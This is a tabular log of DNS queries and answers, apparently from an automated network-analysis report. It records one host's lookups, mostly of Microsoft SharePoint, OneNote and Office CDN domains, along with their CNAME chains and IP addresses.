Jul 16, 2024 13:07:22.352303028 CEST	192.168.2.5	1.1.1.1	0xd0f6	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:24.007287979 CEST	192.168.2.5	1.1.1.1	0xbffd	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.007424116 CEST	192.168.2.5	1.1.1.1	0x24ec	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:24.171838045 CEST	192.168.2.5	1.1.1.1	0xfec3	Standard query (0)	euc-common.online.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.172054052 CEST	192.168.2.5	1.1.1.1	0x8869	Standard query (0)	euc-common.online.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:25.006706953 CEST	192.168.2.5	1.1.1.1	0x3aa5	Standard query (0)	euc-common.online.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:25.007019997 CEST	192.168.2.5	1.1.1.1	0xf867	Standard query (0)	euc-common.online.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:28.594403982 CEST	192.168.2.5	1.1.1.1	0x89e6	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:28.594571114 CEST	192.168.2.5	1.1.1.1	0xb362	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:30.602384090 CEST	192.168.2.5	1.1.1.1	0xc949	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:30.602844000 CEST	192.168.2.5	1.1.1.1	0x4f9d	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:32.037965059 CEST	192.168.2.5	1.1.1.1	0xcbbf	Standard query (0)	goaheadplatform.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:32.038120985 CEST	192.168.2.5	1.1.1.1	0x8b15	Standard query (0)	goaheadplatform.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:33.371479988 CEST	192.168.2.5	1.1.1.1	0x8673	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:33.371658087 CEST	192.168.2.5	1.1.1.1	0x172	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:34.354617119 CEST	192.168.2.5	1.1.1.1	0x8df0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:34.355561018 CEST	192.168.2.5	1.1.1.1	0x48d3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jul 16, 2024 13:07:34.494093895 CEST	192.168.2.5	1.1.1.1	0xcd4e	Standard query (0)	ikorti-iao.cbg.ru	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:34.494935989 CEST	192.168.2.5	1.1.1.1	0xbb18	Standard query (0)	ikorti-iao.cbg.ru	65	IN (0x0001)	false
Jul 16, 2024 13:07:57.917154074 CEST	192.168.2.5	1.1.1.1	0xcaeb	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:57.917320967 CEST	192.168.2.5	1.1.1.1	0x116c	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:57.917633057 CEST	192.168.2.5	1.1.1.1	0x24f0	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:57.917742014 CEST	192.168.2.5	1.1.1.1	0xe57a	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:57.918086052 CEST	192.168.2.5	1.1.1.1	0xc3c4	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:57.918194056 CEST	192.168.2.5	1.1.1.1	0xb241	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:57.918704987 CEST	192.168.2.5	1.1.1.1	0xddfc	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:57.918898106 CEST	192.168.2.5	1.1.1.1	0xe679	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Jul 16, 2024 13:07:58.900289059 CEST	192.168.2.5	1.1.1.1	0xd9bc	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:58.903286934 CEST	192.168.2.5	1.1.1.1	0xbd02	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	amdat-my.sharepoint.com	amdat.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	amdat.sharepoint.com	5912-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	5912-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com	189920-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	189920-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com	189920-ipv4v6w.farm.dprodmgd104.sharepointonline.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	189920-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com.dual-spo-0005.spo-msedge.net	189920-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.078807116 CEST	1.1.1.1	192.168.2.5	0x4673	No error (0)	189920-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com		52.105.160.39	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:51.150724888 CEST	1.1.1.1	192.168.2.5	0xb0b9	No error (0)	amdat-my.sharepoint.com	amdat.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.150724888 CEST	1.1.1.1	192.168.2.5	0xb0b9	No error (0)	amdat.sharepoint.com	5912-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.150724888 CEST	1.1.1.1	192.168.2.5	0xb0b9	No error (0)	5912-ipv4v6e.clump.dprodmgd104.aa-rt.sharepoint.com	189920-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:51.150724888 CEST	1.1.1.1	192.168.2.5	0xb0b9	No error (0)	189920-ipv4v6e.farm.dprodmgd104.aa-rt.sharepoint.com	189920-ipv4v6w.farm.dprodmgd104.sharepointonline.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:52.925909042 CEST	1.1.1.1	192.168.2.5	0xdcd8	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:52.925909042 CEST	1.1.1.1	192.168.2.5	0xdcd8	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:52.925909042 CEST	1.1.1.1	192.168.2.5	0xdcd8	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.154326916 CEST	1.1.1.1	192.168.2.5	0xda1a	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 16, 2024 13:06:54.159992933 CEST	1.1.1.1	192.168.2.5	0x1350	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.179215908 CEST	1.1.1.1	192.168.2.5	0x6d6e	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:54.179215908 CEST	1.1.1.1	192.168.2.5	0x6d6e	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:54.179215908 CEST	1.1.1.1	192.168.2.5	0x6d6e	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:54.179215908 CEST	1.1.1.1	192.168.2.5	0x6d6e	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.179215908 CEST	1.1.1.1	192.168.2.5	0x6d6e	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.180579901 CEST	1.1.1.1	192.168.2.5	0xef03	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:54.329770088 CEST	1.1.1.1	192.168.2.5	0xa913	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:54.329770088 CEST	1.1.1.1	192.168.2.5	0xa913	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:54.329770088 CEST	1.1.1.1	192.168.2.5	0xa913	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:55.846587896 CEST	1.1.1.1	192.168.2.5	0x18d8	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:55.846587896 CEST	1.1.1.1	192.168.2.5	0x18d8	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:55.846587896 CEST	1.1.1.1	192.168.2.5	0x18d8	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:55.846587896 CEST	1.1.1.1	192.168.2.5	0x18d8	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:55.846587896 CEST	1.1.1.1	192.168.2.5	0x18d8	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:55.848084927 CEST	1.1.1.1	192.168.2.5	0xee3b	No error (0)	common.online.office.com	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:56.390609026 CEST	1.1.1.1	192.168.2.5	0xbfa3	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:56.390609026 CEST	1.1.1.1	192.168.2.5	0xbfa3	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:56.390609026 CEST	1.1.1.1	192.168.2.5	0xbfa3	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:56.390609026 CEST	1.1.1.1	192.168.2.5	0xbfa3	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:06:57.965743065 CEST	1.1.1.1	192.168.2.5	0xcbdf	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:06:57.965759039 CEST	1.1.1.1	192.168.2.5	0x2d7e	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:08.107039928 CEST	1.1.1.1	192.168.2.5	0xcaf7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:08.107039928 CEST	1.1.1.1	192.168.2.5	0xcaf7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:10.042594910 CEST	1.1.1.1	192.168.2.5	0x62cf	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:10.042594910 CEST	1.1.1.1	192.168.2.5	0x62cf	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:13.140691996 CEST	1.1.1.1	192.168.2.5	0xfa8e	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:14.776113987 CEST	1.1.1.1	192.168.2.5	0xf33c	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:14.776618004 CEST	1.1.1.1	192.168.2.5	0x67cf	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.768712997 CEST	1.1.1.1	192.168.2.5	0x9254	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.768712997 CEST	1.1.1.1	192.168.2.5	0x9254	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.768712997 CEST	1.1.1.1	192.168.2.5	0x9254	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.768712997 CEST	1.1.1.1	192.168.2.5	0x9254	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:16.769193888 CEST	1.1.1.1	192.168.2.5	0x4fb4	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.769193888 CEST	1.1.1.1	192.168.2.5	0x4fb4	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.775948048 CEST	1.1.1.1	192.168.2.5	0x6476	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.775948048 CEST	1.1.1.1	192.168.2.5	0x6476	No error (0)	common-geo.ha.1drv.com	common-emea.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.789035082 CEST	1.1.1.1	192.168.2.5	0xe227	No error (0)	storage.live.com	common-geo.ha.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:16.789035082 CEST	1.1.1.1	192.168.2.5	0xe227	No error (0)	common-geo.ha.1drv.com	common-emea.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:17.765029907 CEST	1.1.1.1	192.168.2.5	0xd5fa	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:17.765029907 CEST	1.1.1.1	192.168.2.5	0xd5fa	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:17.765029907 CEST	1.1.1.1	192.168.2.5	0xd5fa	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:17.765029907 CEST	1.1.1.1	192.168.2.5	0xd5fa	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:17.767225027 CEST	1.1.1.1	192.168.2.5	0xdfee	No error (0)	amcdn.msftauth.net	mecontrol-prod.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:17.767225027 CEST	1.1.1.1	192.168.2.5	0xdfee	No error (0)	mecontrol-prod.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:18.307109118 CEST	1.1.1.1	192.168.2.5	0xeb79	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:18.307109118 CEST	1.1.1.1	192.168.2.5	0xeb79	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:18.307109118 CEST	1.1.1.1	192.168.2.5	0xeb79	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:18.307109118 CEST	1.1.1.1	192.168.2.5	0xeb79	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:18.308172941 CEST	1.1.1.1	192.168.2.5	0xd80b	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:18.308172941 CEST	1.1.1.1	192.168.2.5	0xd80b	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.089780092 CEST	1.1.1.1	192.168.2.5	0x74b5	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.090262890 CEST	1.1.1.1	192.168.2.5	0x9a88	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.090262890 CEST	1.1.1.1	192.168.2.5	0x9a88	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.090262890 CEST	1.1.1.1	192.168.2.5	0x9a88	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.105770111 CEST	1.1.1.1	192.168.2.5	0xd5df	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.110857964 CEST	1.1.1.1	192.168.2.5	0xb9d1	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.150106907 CEST	1.1.1.1	192.168.2.5	0x9117	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.152441025 CEST	1.1.1.1	192.168.2.5	0x80f1	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.153242111 CEST	1.1.1.1	192.168.2.5	0xb866	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.154125929 CEST	1.1.1.1	192.168.2.5	0x5453	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.157785892 CEST	1.1.1.1	192.168.2.5	0x5857	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.166733027 CEST	1.1.1.1	192.168.2.5	0xdb86	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.166781902 CEST	1.1.1.1	192.168.2.5	0x1c2e	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.168692112 CEST	1.1.1.1	192.168.2.5	0x67bb	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.173666954 CEST	1.1.1.1	192.168.2.5	0xb1b9	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.174516916 CEST	1.1.1.1	192.168.2.5	0x1e5e	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.174705029 CEST	1.1.1.1	192.168.2.5	0x2bc6	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.174705029 CEST	1.1.1.1	192.168.2.5	0x2bc6	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.174705029 CEST	1.1.1.1	192.168.2.5	0x2bc6	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:19.177252054 CEST	1.1.1.1	192.168.2.5	0x4e97	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.177510023 CEST	1.1.1.1	192.168.2.5	0x1e8	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.187654972 CEST	1.1.1.1	192.168.2.5	0x3fe3	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.635363102 CEST	1.1.1.1	192.168.2.5	0xdf0a	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:19.639273882 CEST	1.1.1.1	192.168.2.5	0x864f	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.172302008 CEST	1.1.1.1	192.168.2.5	0x6edd	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.172445059 CEST	1.1.1.1	192.168.2.5	0x2214	No error (0)	fa000000111.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.176584005 CEST	1.1.1.1	192.168.2.5	0x8d6e	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.177927971 CEST	1.1.1.1	192.168.2.5	0x8358	No error (0)	fa000000128.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.178978920 CEST	1.1.1.1	192.168.2.5	0x57d1	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.179589033 CEST	1.1.1.1	192.168.2.5	0x98bd	No error (0)	fa000000096.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.179637909 CEST	1.1.1.1	192.168.2.5	0x1627	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.180629015 CEST	1.1.1.1	192.168.2.5	0xd2f6	No error (0)	fa000000012.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.181858063 CEST	1.1.1.1	192.168.2.5	0xaf4	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.181858063 CEST	1.1.1.1	192.168.2.5	0xaf4	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.181858063 CEST	1.1.1.1	192.168.2.5	0xaf4	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.184775114 CEST	1.1.1.1	192.168.2.5	0x2e4c	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.186557055 CEST	1.1.1.1	192.168.2.5	0x1eca	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.186557055 CEST	1.1.1.1	192.168.2.5	0x1eca	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.186557055 CEST	1.1.1.1	192.168.2.5	0x1eca	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:20.186585903 CEST	1.1.1.1	192.168.2.5	0x6cfa	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.192564011 CEST	1.1.1.1	192.168.2.5	0xd77	No error (0)	m365cdn-sdp-public.azurefd.net	azurefd-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.194073915 CEST	1.1.1.1	192.168.2.5	0x342b	No error (0)	fa000000110.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.458945990 CEST	1.1.1.1	192.168.2.5	0xe8ac	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.463191986 CEST	1.1.1.1	192.168.2.5	0xd7a6	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.592730045 CEST	1.1.1.1	192.168.2.5	0x9a	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:20.593760967 CEST	1.1.1.1	192.168.2.5	0x96fd	No error (0)	fa000000138.resources.office.net	resources.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:22.359512091 CEST	1.1.1.1	192.168.2.5	0x1635	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:22.359946966 CEST	1.1.1.1	192.168.2.5	0xd0f6	No error (0)	augloop.office.com	augloop-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:23.221467972 CEST	1.1.1.1	192.168.2.5	0x7124	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
